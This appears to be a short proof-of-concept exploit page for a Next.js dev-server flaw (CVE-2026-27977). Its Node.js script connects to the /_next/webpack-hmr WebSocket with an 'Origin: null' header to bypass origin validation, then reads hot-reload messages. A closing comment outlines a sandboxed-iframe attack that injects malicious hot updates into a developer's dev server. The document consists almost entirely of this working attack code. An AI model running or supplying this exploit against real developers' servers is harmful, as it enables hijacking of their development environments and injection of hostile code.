Next.js 16.0.1-16.1.6 Origin:null跨站WebSocket劫持漏洞

// CVE-2026-27977 PoC - Next.js HMR WebSocket Hijacking via Origin: null // This PoC demonstrates how an attacker can hijack Next.js dev server's HMR WebSocket // by exploiting the Origin: null bypass in allowedDevOrigins validation. const WebSocket = require('ws'); // Target Next.js dev server (typically runs on port 3000) const targetHost = 'localhost'; const targetPort = 3000; const targetPath = '/_next/webpack-hmr'; // Create a WebSocket connection with Origin: null (simulating sandboxed context) const wsUrl = `ws://${targetHost}:${targetPort}${targetPath}`; console.log('[+] CVE-2026-27977 PoC: Next.js HMR WebSocket Hijacking'); console.log(`[*] Target: ${wsUrl}`); console.log('[*] Attempting connection with Origin: null...'); const ws = new WebSocket(wsUrl, { headers: { 'Origin': 'null' // Key: This bypasses allowedDevOrigins validation } }); ws.on('open', () => { console.log('[+] WebSocket connection established!'); console.log('[+] Successfully bypassed Origin validation via Origin: null'); console.log('[+] Now receiving HMR messages and can send commands...'); }); ws.on('message', (data) => { console.log('[>] Received HMR message:', data.toString().substring(0, 200)); // Example: Inject malicious module update const message = JSON.parse(data); if (message.action === 'building') { console.log('[*] Dev server is building, potential for injection...'); } }); ws.on('error', (err) => { console.log('[-] Connection error:', err.message); }); ws.on('close', () => { console.log('[*] Connection closed'); }); // Attack scenario in browser context: // 1. Attacker hosts a page with: <iframe sandbox allow-scripts src="about:blank"> // 2. Script in iframe makes fetch/websocket to http://target-dev-server:3000 // 3. Browser sends Origin: null header // 4. Next.js allows connection due to Origin: null bypass // 5. Attacker can now read HMR traffic and inject malicious hot updates